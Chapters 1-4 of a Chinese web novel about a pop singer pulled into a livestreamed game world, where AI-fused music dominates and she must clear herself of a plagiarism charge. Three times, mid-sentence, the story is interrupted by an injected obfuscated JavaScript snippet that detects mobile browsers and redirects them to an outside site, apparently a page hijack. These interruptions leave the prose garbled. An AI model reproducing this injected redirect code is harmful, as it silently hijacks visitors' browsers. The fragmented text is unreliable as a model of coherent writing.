《全副本都是我的歌迷》 1. Chapter 1 意识恢复的时候已是黄昏。 入眼就是肮脏漆黑的地板，一翻身，漏水的天花板正滴下一滴脏水，顺着脖子流进衣领里。 下一刻，地面上成堆的棉被发出‘轰’的一声，倒了满地，有夏坐起来，原来是被老鼠掀翻了。 老旧污浊的灯泡一闪一闪，一下床，又险些一脚猜到吃完的泡沫饭盒。 很显然，这是个环境恶劣的出租屋。 【天崩开局啊哈哈哈】 一条蓝色弹幕从头顶飘过，眼睛在一瞬间睁大，有夏捂着头，彻底反应过来这是在什么地方。 她被拉入了一场直播游戏，而就在一天前，她还是金曲奖最年轻的得主，刚带着第一张个人专辑横扫各大奖项的小天后。 没有什么车祸和飞机失事，她是被突然拉进这个空间的；准确来说，是这个时代。 这里有点像科幻大片里的未来世界，科技发达，娱乐产业却日愈衰败，因为中间经历过一次重大灾难，百分之九十五的文化失传断层，重建家园后，人们依然没有找回文娱最初的样子。 “嗞嗞——” 电视机冒着失灵的雪花，她刚要起身上前敲敲，下一刻，画面恢复清晰，震耳欲聋的音乐声传出，几乎要刺破耳膜；一阵华丽的开场特效后，是音综最常见的开头。 舞台布置得十分华丽，不多时，身着华丽打歌服的男歌手自升降台缓缓出现，伴奏声一响起，有夏下意识皱了皱眉。 电视机应该是质量不好，画面都格外刺目，还总有杂音，一首歌听下来，有夏的眉头已经快皱成了结。 这一听就是智能生成的缝合音乐，旋律到编曲都太僵硬了，哪怕是从一个听众的角度来说，她都很想捂住耳朵。 在原世界，大家都把这种东西称呼为音乐垃圾，是为人不齿的，居然能这么冠冕堂皇地出现在节目上？ 电视节目还在放，导师最终给出的评分很高，接下来的几首歌同样不堪入耳，最终有夏关了电视，先去洗澡。 总算干净了些，她坐在床上，召唤出排名面板，她的排名在一百十二名，倒数第二。 【您的身份：音乐人】 【排名：112】 “滴滴———” 【组织：新的排名已经更换，请各位玩家继续努力哦~】 排名前十的人名都被标上了金色，新排名榜公布没多会，交流版很快被几十条消息刷屏，无一都是庆祝或埋怨的，没什么营养。 同行的玩家无一不是社会名人，上到富豪政/客，下到网红主播，找了一圈，一个熟人都没，她暂时还是不要凑这个热闹了。 困意袭来，再次睡过去，第二天，一阵堪称砸门的声音把她叫醒。 “网上现在已经翻天了！如果石锤，我们要面临赔款的！” “在家吗！” 一开门，是一个眼尾上挑的女人，衣着简洁干练，很有精英女教师的气场，进门后打量一圈屋内的环境，露出个不大体面的表情：“小江，作品不行也就算了，怎么连个人卫生也不注意呀。” 【姓名：丘若雁】 【年龄：43】 【职业：经纪人】 有夏心中暗暗吃了一惊，即便来到直播里，也还是当艺人吗？！ 而且看住处这环境，组织给她安排的出身似乎并不怎么好啊。 丘若雁咳了一声，再次说：“小江…………” 有夏主动问过什么事，丘若雁又恢复了初见面的干练直接，扯起涂得鲜红的唇角：“你还知道问，公司好不容易给你争取一个露面的机会，你怎么能拿抄袭的歌上台呢？” ？？？ 这具身体没有原主，她也没有记忆。一切算是组织设计好的虚拟世界，见人愣怔，丘若雁还算耐心，以为她是怕了。拿出手机敲敲打打，很快递上来：“成年人了，要为自己做的事负责啊。” 屏幕里是一个社交平台的评论区，入眼，都是难听犀利的脏话： “抄袭狗真你爹不要脸，我们歌迷只是老了，不是死了。” “音乐裁缝滚出乐坛，别来沾边。” “哪家公司的啊，这么恶心的人，公司不给个说法吗？” “跃星的人呗，狗屎公司狗屎眼光！” 点开相关词条，出现率最高的一个词叫‘百分百舞台’，是个超级大制作，导师嘉宾阵容豪华，正是她中电视里看到的那档音综的名字。 而她作为跃星娱乐刚捧出来的小歌手，第一次登上《百分百舞台》演唱的歌曲本来大受好评，结果就在昨天，被人扒出了抄袭。 和弦与被抄的歌非常神似，不嫌事大的网友再去一搜，直接快惊掉了下巴。 被抄的歌的主人是一名老牌歌后，实力口碑没得说，可惜的是，她已经因车祸去世三年，时至今日还有不少人怀念。一石激起千层浪，老牌歌后的粉丝纷纷下场，大骂有夏就是个抄袭狗。 整件事没有半点洗白的点，老牌歌后是一代人的记忆，就连路人也看不下去，举起键盘加入了这场激烈的讨伐。 往下翻翻，还有更多评论被社交平台‘和谐’了，这个平台尺度不小，可想而知骂得有多难听。 呃…………？ 有夏回忆了一番之前被骂的经历，从寂寂无名到跃身天后，好像还没有人骂过她抄袭，顶多是歌迷们在她的社交账号下求饭吃： ——问她为什么还不出专辑。 这也就让她养成了鸽子的习惯，慢慢的，一些极端歌迷甚至气到大骂她迟早会遭报应。 现在看来，鸽子真是一件很不好的事啊！ 第一期已经录制完并播出了，有夏定下心神，问：“所以，第二期是什么时候录制？” 丘若雁终于欣慰她长出了脑子似的，扶额叹气：“下午三点。” “…………” 墙上的古董钟像是捕获到了关键词，跳出一只鸟，字正腔圆地报时：“现在是下午一点准。” 下午两点半。 抵达《百分百舞台》的录制地点，才上电梯，几名工作人员就拿奇怪的目光扫了过来，掏出手机看看，再看看有夏，目光更加不善。 有夏也拿出了手机，了解到《百分百舞台》的阵容，可谓是非常豪华：有早年在国外出道爆火的唱跳导师，也有音乐名校毕业的创作才女，还有人气甚高的rapper，和出道没几年就跃身导师的爱豆。 这班底，放在21世纪的随便一个音综上，也是很有看头的。 加上这里娱乐产业日愈无聊，节目一播出，每天都有百万的点击观看量，相关话题已经霸榜文娱热搜将近半月了。 弹幕同样看热闹不嫌事大： 【抄袭很难搞啊，一辈子都洗不掉的罪名】 【管她呢，她有本事抄，没本事付出代价啊】 【可惜了，长得挺漂亮的，私下人品居然这么差劲，走不长】 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13564345|142868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 【确实，不过我问个题外话，小姐姐是混血吗？五官好立体，不管了，先舔一口颜】 【黑长直好美，亲一个】 【前面的颜狗滚粗】 【……】 录制厅内，十几名造型精致的学员已经坐在沙发上，都是年轻的男男女女。见到有夏进来，表情各有精彩，但这是在录制节目，有些话也不好直接说，看了几眼，就纷纷又把眼睛转过去，看向墙壁上的超大液晶电视。 电视实时播放着台上的画面，一个穿着白背心的男生正在唱歌，最吸引人的不是那身快要蹦出衣服的肌肉，而是歌声。 台上的四位导师已经有三位给出了绿灯，男生依旧如痴如醉地唱着，不时来个转音，那名最严厉的导师也终于露出了满意的表情，毫不犹豫按下了绿灯。 丘若雁咬咬牙，在后面悄悄提醒她：“这是节目开播来，唯一一个全绿灯的学员。” 有夏：“所以呢？” 很明显的生成音乐，后台的学员们纷纷露出苦涩的表情，面面相觑，写满了打不过的表情。 “难怪说这一期藏龙卧虎。”一个男学员捂住脸说，虽然不知道是不是为了节目效果：“他居然会唱和声，职业选手禁止参赛啊！” “是啊。”另一个女学员已经被震惊得说不出话了，十几个人纷纷接腔，颇有种蚂蚁初次见到大象的震撼。 有夏坐在最不起眼的角落，悄悄喝了一口团队准备好的温茶。 连喝三口，苦涩味在舌尖弥漫开，她终于确认，自己不是在做梦了。 连会和声都能被吹捧上天了，她回忆一下自己出道那会接受的训练，放到这里，估计能累死一大半人。 她是创作型歌手，虽然不用像唱跳歌手那样训练十几个小时，保持瘦到几乎不正常的身材，但创作很吃灵气，状态稍有不对都写不出来。 男学员一曲唱完，四位导师都露出了欣赏和惜才的表情，三个导师各自点评过后，话筒被交到染着金发的导师手上。 这个画面一出现，后台的学员不约而同屏住呼吸，没人再敢出声。 系统很适时地替她解析： 【姓名：韩珂】 【年龄：26】 【职业：唱跳歌手】 看来这就是那位最具盛名的导师了，他长得偏韩系，刚中带柔，一笑起来很撩人心弦：“你的歌曲很好。” 男选手看着高壮，还有点害羞，一手拿着麦克风，一手挠挠脸：“其他地方呢？韩老师可以再指点几句吗？” 后台几乎快尖叫了，谁不知道韩珂的点评有多犀利，他还敢上赶着让人点评，是疯了吗？ 韩珂微微一笑，转头看向其他三名导师，忽然摘下麦，不知说了什么，却钓足了众人的胃口。一时间，后台鸦雀无声。 “我可不会随便点评人。”韩珂重新戴上麦，眼看男学员眼里期待的光芒就要消散，勾起唇角补了句：“你愿意来我的公司吗？” “！！！” 后台的动静都快把屋顶掀翻，丘若雁不知在忙什么，一抬头，有点嫌她不争气：“多学学呀！” 男学员满面春风下了台，他的团队赶紧递上水杯纸巾，其他学员的目光也聚焦在他身上，有羡慕，当然也有嫉妒。 下一个上台的就是有夏，工作人员过来，示意她准备准备。 站起身的一瞬间，她能感觉到，周遭投来的目光又从崇拜羡慕变成了鄙夷。 2. Chapter 2 跃星不是大公司，即使做了辟谣依然不管用，现在这些目光就和网上漫天的谩骂一样，仿佛要把她刺穿。 化妆师草草给她补了一层妆，不知是不是这个圈子都很厌恶抄袭的原因，走时瞥向她的眼神很不友好。 “江老师，加油啊。”男艺人正被团队围着，喝了口水，朝有夏一笑：“这几天网上就你的反响最大，有机会可以一起交流。” 丘若雁的脸顿时就青了，眼看离上台还有五分钟，也不好直接上去说什么，有夏拿出唇釉涂着，闻言抬头：“好啊，你有点尖音，回去多练习一下发声。” 男生也是个年轻的，表情顿时就垮下来了，眼见镜头没往这边拍，视线自下往上扫扫她，扯唇一笑：“知道这么多专业名词，怎么就做不出原创歌曲呢？” 在场的几个学员回头，没忍住嗤笑出声，有夏也不急，把唇釉缓缓盖上，男生见人吃瘪，继续拿出刚才的温和态度：“我们是歌手，应该多吃点细糠，不要总听网络神曲。” “糠再细也是猪吃的，我没有这个爱好。”有夏脱下外套起身，莞尔点头：“如果你喜欢，可以去农庄开个吃播，加油。” 话音刚落，上台的提示音在后台响起，在众人各异的目光中，她大方落落地走向通往舞台的门，留下男生和他的团队，反应过来，人早就走了，气得只差跳脚。 【哈哈哈哈哈哈哈哈哈，糠再细也是猪吃的，学到了】 【她好像真不是外行，说得没问题】 【求问一个口红色号，好裸好透】 【有病吧你们，这么快就给抄袭狗洗白了】 【呵呵，互联网一直没有记忆的啦】 【……】 上台，四名导师正说着话，像是没想到她还会来，人出现的一瞬间，连打招呼都忘了，表情都多少有点不自然。 过了一会，看节目组没说什么，也只能按着流程继续办。 舞台照例熄下灯光，人隐匿在黑暗之中。台后，丘若雁一个人坐在一张沙发上，面前的学员们则都带着看笑话的表情，只是考虑到还有镜头，没表现出太鄙夷的反应。 男生被气得不轻，有一下没一下看着台前，上了趟厕所回来，神情不大自在，助理以为他不舒服，他却说：“我的发音是不是真的很尖？” 丘若雁刚联系完团队不用准备第三期的录制，闻言，手心的汗好像没那么多了，睇向实时播放台上的大屏幕，没来由地放了些心。 “还不开始吗？”韩珂首先拿起麦点评，又眨眨眼看向导演组：“请问学员是摸黑下台了吗？” “哈哈哈哈。” 后台的学员们终于有机会发出一阵爆笑，有个人最先一顿，下一刻，低低的鼓点声传入耳中。 声音带着点低保真的感觉，又很有节奏，充满了复古的味道，台上一身白裙的女导师倏然挑眉，“lofi？” 她怎么可能会lofi？这么古老的元素，明明早就失传了啊。 吉他和鼓声的伴奏同时出现，整首歌的旋律豁然开朗起来，有夏唱出歌词的一瞬，后台已经鸦雀无声。 更别提笑。 这是什么曲风？一点也不像生成的啊！ 有夏长得不差，歌声平稳，一时让人有些不知道看脸还是听歌才好；那名女导师是名校毕业，听完前奏，最先没忍住亮了灯，眼里写满了不可思议，笔拿在手中，连记录都忘了。 歌声停下，舞台光重归黑暗，一片寂静。 这就完了？ 就在剩下三个导师即将拿起麦的一瞬间，伴奏突然升调，假音出现，所有人的听觉在这下达到一个前所未有的体验。 后台有人最先爆发出一声：“我去！” 硬要说的话，就是听得…………很爽。 “这是副歌？”爱豆出身的丁煦导师忍不住了，拿笔飞快写着什么，随即立马按下绿灯，表情和女导师没什么不同。 歌不是生成的就算了，居然还有副歌部分，升key毫不僵硬，真假音转变得比德芙还丝滑，高音更是达到了惊人的G4！ 一个此前几乎不可能有人达到的高度。 后台，不止若干学员，丘若雁的嘴也没合上过，寻思她是什么时候写了这首歌，完全没听过啊？ 难道是未发行的？ 一首唱完，女导师已经热泪盈眶，话筒却被韩珂抢了先：“这么高难度的曲子，是你一手写的吗？” 说起来还有点不好意思，这首歌是她年少时的炫技之作，后来觉得有点装过头，也就慢慢不唱了。 有夏点点头，也想听听这导师能说出什么花，韩珂按下黄灯：“感情确实充沛，但技巧不足。”又补上个客套的微笑：“美声不错，继续加油。” “啊？” 韩珂似乎是头一回被人质疑，眉峰轻拧：“啊什么？” “民族唱法里哪来的美声？”旁边的男导师下意识纠正，随即意识到韩珂的脸色变差，立即打圆场：“韩老师鼓励你呢！” “是吗？”有夏眉眼弯弯：“两位导师都好幽默，我这是流行歌曲。” “…………” 空气有一瞬间的安静，后台甚至有选手以为是为了节目效果写的剧本，配合着哈哈大笑起来。 韩珂的表情像吃了蚊子。 离开台前，她悄悄掐了自己一把，气极反笑。 有病么？ 【天，第一次知道歌曲还能分得这么细】 【流行歌曲？可这种东西不是几十年前就失传了吗？】 【骗人的吧？中间的声音那么高，不应该是摇滚乐吗】 【把美声和流行搞混就算了，那个说是摇滚的就太过分了吧，音乐生看不了一点，溜了溜了】 这个地方的乐理知识真是差到可怕。 摸摸起了满身的鸡皮疙瘩，平复下心情，正想着，蓝色主控板再次浮现： 【初步任务完成，正式进入主线剧情】 ………… 下台后，她没看四面八方投来的目光，自若坐下，丘若雁愣了几秒才递上水，压着情绪问：“你什么时候写的？” “自己写着玩的。”有夏喝下水，察觉到有目光打量过来，循着看去，是前排的三个学员，其中一个造型最怪异的长发男问：“那个…………你是找了哪些素材来融？” 融。 多么奇怪的字眼。 录完节目，有夏为了搞清楚状况，提出先回公司，也就是那个被骂‘狗屎公司’的跃星文化。丘若雁因为她在台上的表现，欣然答应，脸色好了不少，还主动打电话让助理先备好饭。 坐上飞艇，别人看不见的地方，她召出主控板，惊喜的是，因为弹幕讨论度上升，她的排名前进了两名，她的名字后面多出了一朵小红花，应该算是奖励标志。 但目前并没什么用。 翻翻前排的人，成绩令人叹为观止，还有观众为他们刷了奖励，她看了看，自己的积分连凑个零头都不够。 一下飞艇，有夏揉揉刚睡醒的眼睛，建筑物入眼的一刹那，人都傻了。 就是一个三层的小楼？？？ 她环顾一圈，天色已晚，不远处就是霓虹绚烂的大楼，高耸入云，科技感满满。而眼前这个小楼虽然不算危楼，但要说是个娱乐公司，也太勉强了吧！ 望着外墙都脱落一半的大楼，有夏捂紧外套，这时丘若雁也下来了，拍拍她：“快进去啊，等一下被拍到了可不好。” 算了，小公司就小公司吧。 才一进去，一个气质温婉的女人先走了过来： 【姓名：江与宁】 【年龄：34】 【关系：小姨】 “夏夏…………”江与宁像是才从病房里出来，脸色惨白，还是对她露出个笑：“你那歌唱得真好，是打算发行新歌吗？那我让…………咳咳！” 这是她的‘小姨’，也是跃星的董事长，江与宁搂着有夏往里走，奇怪的是，直到走上楼，也没看见一个艺人。 艺人和工作人员的区别还是很明显的，她的助理是个年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13564346|142868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻的蓝毛小姑娘，名叫漫漫。有些毛手毛脚，拿饭的时候几次差点洒了，还被丘若雁训了几句。 一顿饭吃下来，有夏大概明白了这是个什么公司。 狗不狗屎她不知道，但小是真的小；除去她这个不知道几线的糊糊，只有一个二线的唱跳女歌手，前不久录综艺受了伤，正在家养病，剩下几个咖位比她还低的歌手连综艺都接不到，暂时不在公司。 除此之外，就没有人了。 越听越惨，也不知道这个小作坊是怎么存活的。 江与宁说话期间咳了几次，丘若雁忍不住说：“姐，你回去吧，这几天没什么行程。” 说到这个，江与宁的表情终于凝重起来，摇摇头，拿来iPad立在桌上，“夏夏，你实话说，那首歌是不是抄的？” 对哦，她还没听过呢。 抄袭的歌叫《枝桠》，被抄袭的则叫《绿豆粥》。 饭也不吃了，有夏赶紧搜出那首歌，再搜出被抄的歌，戴上耳机好好听了一遍，最终顶着几道目光肯定地说：“不是。” 江与宁更加焦急：“可现在网上已经有人扒了旋律，说雷同度很高，还说吃的是人血馒头，一定要你道歉。” 道歉都还是小事，以跃星现在的经济状况，根本支付不起高昂的赔款，如果网上再这样骂下去，跃星本就不乐观的现状只会雪上加霜。 丘若雁还说，有两个毕业生已经准备签跃星，事情一出，纷纷出现了婉拒的意向。 她不能再推脱责任了，无论是为了自己，还是江与宁和公司。 “如果我说，他们扒的对比是错误的呢？” - 半小时后，有夏抱着笔记本电脑推门出来，厅里不知什么时候多了个身影，正和江与宁二人交谈着。 “哎。”丘若雁看来：“这就是了。”三人一起转头，有夏本是看着屏幕，视线对上那人的一瞬间，手腕一抖，电脑都差点摔了。 【两个人看上去很配啊，是官配男嘉宾吗】 【能不能不要随地大小嗑啊，缺爱吗】 那人是个青年，五官立体，戴一副无框眼镜，没什么表情。 据丘若雁说，这是跃星的另一个艺人。 勉强坐下，她打开软件，正是两首歌的和弦分析，确实一模一样。 “那你还说没有抄？”江与宁好歹是懂点乐理的人，看了一眼出奇一致的和弦，这下是真的有点发愠，“有夏，我说过，不能…………” “确实没有抄，只是融得比较多。”青年话说完表情一变，他看向有夏：“踩我干什么？” “…………” “你是说，因为融得太多，才会被人误认为是抄袭？”丘若雁若有所思，看着两段和弦，还是有点不可置信，问：“那为什么会被人专门扒出来骂？” ？？？ 丘若雁看着有夏眨眨眼：“干嘛这样看着我？” “哈。”她气极反笑。 难道这里完全没有对家水军营销狗仔的吗？什么世外桃源！ 你不落魄谁落魄啊！谁家公司这么傻白甜！都娱乐圈了，谁还和你良性竞争？！ 没去扒你幼儿园时期的黑历史都不错了！ 圈里立‘真性情’人设的明星不少，公司立‘真性情’的还真是活久见。 她突然觉得跃星能活到现在真是个奇迹，震撼程度不亚于兵马俑出土，抓紧申遗吧。 丘若雁二人还是发懵，问：“是要道歉吗？” 有夏忍住情绪，耐心地解释一通，没给江与宁二人消化的时间，一把抱起笔记本：“算了，我自己解决，你们斗不过他们。” 意识到自己占据了主导地位，眼前两人也没反驳，她又趁热打铁：“这段时间我先住公司，再给我找个新住处。” 而从见面起就干练严肃的丘若雁居然点点头，眼神活像在看未来的天王天后，真的起身去办了。 人暂时都离开二楼，指尖再次触上键盘的同时，青年摘掉眼镜：“怎么这么快就被人盯上了？” 3. Chapter 3 深夜，直到所有人离开公司，有夏依然坐在电脑前噼里啪啦。 今天的录制一播出，网上的反响更加热烈，网友大致分为三批人：只喜欢听歌的路人，逮着她狂喷的歌后粉，还有见异思迁的乐子人。 说什么的都有，但渐渐的，骂她的声音很快就盖过了少得可怜的中立声，虽然不排除他们是真的气愤，但有没有水军在带节奏，作为见过无数场明星互撕的有夏，一看便知。 不止有水军，就连那个所谓的石锤视频也根本不可信，如果排除极端黑粉的话，就是同行在恶意搞事情了。 但奇怪的是，她一个刚出头没多久的小糊糊，连社交账号都没开通，是动了谁的蛋糕，才让对方这么费尽心思来害她？ 为什么是害呢？因为这里百分之九十的歌曲都是融的，也就是把好几首歌的旋律和编曲全都拆得稀碎，再通过智能软件融在一起，最终就变成了一首新歌。 用21世纪的说法，有点像AI音乐，只不过更高级一点，非资深内行听不出来。 而她扒了两首歌的旋律发现，《枝桠》里也有其他歌曲的影子，只不过《绿豆粥》的占比最大，乍一听上去，就是抄袭。 推理出这个结果，有夏再次气笑，揉揉太阳穴，三观都在崩塌。 什么智障世界，抄袭还分轻重，要按这么说，圈子里所有用智能软件写歌的人都是抄袭狗！ 要放在现实世界敢这样做，绝对要赔钱赔到只剩内裤，然后被各家受害艺人的粉丝打死。 【原来是这样】 【我就说这么萌的妹子不会是抄袭狗，放心溺爱了】 弹幕飘过，有夏也终于回过神，拍拍胸口安慰自己：游戏而已，不气不气。 退出满是戾气的娱乐软件，她百无聊赖地到处搜了搜，这个世界的娱乐产业已经被智能产物占领，大部分内容对她来说非常僵硬，有一些甚至很低俗，并没什么意思： 【老公为了怀孕的初恋抛下我，消失多年的大佬父亲出现：我的女儿你们也敢欺负】 【超搞笑：小哥竟在贵妃古墓前社会摇，老外吃惊：这就是中/国功夫吗】 【惊了，清凉美女挑战街头美食，网友：这打开方式是不是有点不对】 清一色智能生成的视频，搞不搞笑她不知道，只觉得光看文字就要洗眼睛了。 溜了溜了，受众群体一定不是她。 就在她要关闭网页时，不知按到了什么，右下角突然弹出个链接，快速进入，居然是个音乐平台。 她本能地想要退出，才移动鼠标，一个冒着粉色泡泡的超大广告就霸占了满屏，居然是个征集活动。 许多音乐平台都会鼓励新的音乐人入驻，尤其是有想法的原创音乐人。 虽说都是智能生成的音乐，但也有好听和难听之分。她滑动鼠标往下滑，参赛规则有点密集，只能一条一条看下去。 看的同时，她的双瞳也在黑暗中一点一点放大。 这不止是个征集活动，还有个小小的比赛，入选且在一周内收听率最高的专辑，奖金是十万元。 也没要求质量和原创性，是不是太简单了点？ 这个世界该不会出现了货币贬值的情况吧。 比如一万块钱连杯奶茶都买不到什么的，那就太可怕了。 但想到跃星如今的惨状，有夏最终抱着试试看的心态按下了‘确定’。 流程不复杂，三两下就注册好了。 很快，她的头像下方就挂上了个金灿灿的小黄V，算是音乐人的认证。又在网站主页转悠一圈，这是最大的音乐平台，入驻的大小歌手如云，每天的听众达到上亿，服务器受不住，不时还会抽一下风。 看得出来，管理层非常抠门，想到这个，她不禁有点担心，也不知道那个活动靠不靠谱。 “吃点东西。” 一盘水果猝不及防放到桌上，有夏下意识站起来，徐佳澍洗过澡，带着沐浴露味出现，“明天查。” “…………” “大天王亲自切水果。”有夏继续滑动鼠标，扫一眼记忆中他那只会弹琴的手：“受宠若惊，不敢吃。” 徐佳澍在一旁坐下：“现在不是了。” 他现在也是玩家身份，和她一样，都是被人看不起的糊咖。 【有情况有情况】 【我就说他们刚才怎么一直在暗送秋波，原来是】 【那个说我乱嗑CP的出来！】 【好甜的糖】 两个人都是玩家，弹幕也是共通的，有夏面无表情看完，郁闷地继续敲键盘。 “过期了。” 怎么到哪都有人喜欢嗑她和他？！ 徐佳澍点起夜灯，白墙上浮出人影，不可置否。有夏很快找到投稿的链接，看了一会又蹙起眉：“明天去录音。” “什么？” 她把事情和徐佳澍说了，来不及临时写歌，只能先挑点之前的歌参赛。 二人出道这么多年，专辑和单曲不说个个精品，至少都是能打的。 没错，二人是乐队，她穿来前刚过了二十七岁的生日，不多不少，距离出道刚好十年。 星探起初只是看她外形出众，打算把她包装一番后就走演员路线，没想到她还会乐器和声乐，她那时还小，所有事都是公司包办，最后就稀里糊涂地以歌手身份出道了。 徐佳澍的经历也差不多。 那个年代还没有发达的互联网，歌曲大多以实体专辑的形式发布，而二人的第二张专辑的销量，是七十万张。 整张专辑都爆了，最出名的当属主打歌《藤蔓》，在连笔记本电脑都没有内地普及的年代，依然火遍了大街小巷。 这一年，二人刚满十九岁，站在人生的起点，迎着朝阳，看不见隐没进光里的荆棘，满眼都是前路光明灿烂。 但长大是件狡猾的事，没有像对待多数人一样教他们接受自己的平庸，而是告诉他们，有时候太成功，也是一种过错。 名利场浮浮沉沉，这段公开的秘密持续了几年，也就消散在大染缸的一场场觥筹交错里了。 “你还看不看？” 一阵无声，她招招手，徐佳澍挪过来看完规则，轻轻颔首：“好。” 第二天丘若雁不在，有夏就找了个工作人员陪着去录了音，录完回来上传投稿。午觉醒来，个人主页已经多出了99+条消息。 她选的是几首冷门歌，在演唱会上都没唱过几次的那种，还有一首是废稿改的。 原因无他，那天她唱的也是一首冷门歌，现场的学员和导师都差点石化了，怕引来什么不必要的麻烦。 早上还空空如也的评论区多了不少声音： “词曲功底都这么好？也没有合成的迹象 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13564347|142868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，发音也稳，感觉不是新人。” “皮下又是哪个大佬，别玩啦，给新人留点活路。” “大佬还缺这十万块钱？” “这是什么曲风？” 有夏打字回复，那条评论的ID很快继续发问：“R&B是什么？” 嘶—— 她撑起下巴，刚要酝酿一下语句，小红点出现，是一条新的评论回复了那个人：一种已经失传的曲风，不可能是的，我也是做音乐的，她绝对在骗你。 有夏气笑了，再次打字回复，半分钟后，那个人也回复她：那我考考你，R&B起源于哪里？基本结构和特色是什么？代表人物又有谁？ “…………” 十分钟过去，见有夏没回复，那人就在评论区当起爹，教育起其他表达喜欢的网友。 “…………” 看来这里的高科技并没有造福到脑残，有夏忍了忍，现在收听人数还不算很多，也不想先下场把评论区搞臭，就关掉电脑补觉去了。 晚上八点，一个三无账号突然在某博发布了一段视频，文案挂满了和‘抄袭’有关的词条，吃瓜网友们想到这几天沸沸扬扬的抄袭风波，打开视频，画面是《枝桠》和《绿豆粥》两首歌的和弦对比。 不止如此，还有一大串…………看不懂的绿色玩意，一些专业人士火速赶到，看了半天，最终只能隐约看出这是在扒谱。 视频全程没有人声，全靠两首歌的旋律在告诉观众，还有一大堆看不懂的音轨和音波，作者像是在进行保姆级教学的网课，中间几次都放缓了倍速，只用文字和粉笔勾画着讲解。 视频很快就看完了，因为专业名词太多，音轨又复杂，大部分人还是不知所云，只知道一个事实：《枝桠》好像真的没有抄袭《绿豆粥》。 其实大多数人根本就没听过两首歌，加入谩骂也只是出于无聊，和那一点身为“老牌歌手粉丝”的优越感；现在这个疑似当事人的账号一辟谣，又立马纷纷倒戈： “网暴真可怕，雪崩的时候没有一片雪花是无辜的。” “感觉作者比那几个音乐人专业多了，大家不要人云亦云。” “对啊对啊，看完我感觉两首歌根本不像。” “作者是江有夏本人吗？有这个实力的话，根本没必要抄啊。” 跃星二楼，丘若雁看着终于扭转一点的风向，第一次对有夏露出笑容：“可以啊小江！”她不懂乐理，风评有好转就是最好的证明。 “他们之前扒谱的思路完全是错的，只盯着和弦来看的话，别说生成音乐，很多原创音乐都是所谓的‘雷同’。” 听不懂的丘若雁和小助理只能一个劲地点头，意思是你字多跟你走。 根据她的强烈要求，跃星也赶紧找了一批‘水军’下场带节奏，江与宁起初还担心影响不好，眼见风评好转了许多，也就没有再说什么。 第三天，江与宁亲自带着有夏去看了新住处，是一处环境不错的小公寓，两房一厅。离开时见她这么满意，就拿奇怪的目光瞧她：“所以你之前干嘛一定要住那个出租屋？有老鼠也不愿意搬出来？” “……”有夏内心苦笑，表示你还是问组织去吧，我可不喜欢没苦硬吃。 结果过了几天，丘若雁又慌慌张张找到有夏，说是《百分百舞台》受这几天的抄袭风波影响，已经决定让她退赛了。 4. Chapter 4 “这是个大制作，绝对不能丢。” 丘若雁说到一半，电话响起，接听后表情一变，像有急事，交代几句急匆匆离开。 有夏看着手机，昨天的视频一经发出，风向总算好转了些；路人是最不可靠的，看完乐子就走，更别提为她一个名不见经传的糊糊冲锋陷阵。 在娱乐圈混迹这么些年，她虽然没有主动陷害过哪个同行，但也明白一个道理：无论是多么腥风血雨的互撕，真相反而才是最不被人在乎的。 除了当事人。 网暴错人不是什么稀奇事，群众团结一心是好事，但眼前的人多了，也会看不清路。 看着《百分百舞台》节目组发来的那条婉拒短信，她快速调整好呼吸，抄过茶几上的水杯猛灌一口，再次走进工作间。 这里已经摆满了编曲作曲的电子设备，都是她一手置办的，收拾出一小片空地，她把收进柜子里的笔记本拿上了桌。 音乐平台上，那张专辑的收听量已经破了二十万，点进评论，散发着恶臭味的‘我来考考你’已经被刷下去了，大部分都是好评。 沉寂许久的弹幕终于在这一刻又有了火热的趋势： 【敢情你那扒谱真不是乱扒的啊？】 【笑死，我也以为那个是乱做的视频，大家都傻得好好的，你是真会啊？】 【能不能对别人多一点欣赏啊喂，她是被投放到这里来的，穿越前说不定真是个大神】 【小妹膜拜膜拜你】 有夏微微一笑，大神还不敢当。 评论还在上涨，这时个人主页的小头像上又亮起一个红点，她下意识点进去，居然是一个到账通知。 三万块？？？ 天上掉馅饼了？ 她注册时没有用‘江有夏’这个真名，再点进消息，这三万块钱居然是一个用户打赏的，点开留言：@飞天恐龙：很好听的专辑，摩多摩多。 ‘飞天恐龙’正是她在音乐平台上的名字，颤颤巍巍感谢过后，她再回到原界面，主页的粉丝已经涨到了两万，以平台的客流量来说，肯定还会继续增长。 有了这三万块钱，再拿到平台奖励的十万块，她再慢慢把之前的歌搬上平台，或许就真的可以不用去《百分百舞台》了！ 活动举办得热火朝天，点进网站主页，再点进活动的宣传广告，下滑到参赛者名单里，排名第一的正是‘飞天恐龙’，收听量和第二名差了整整五万人。 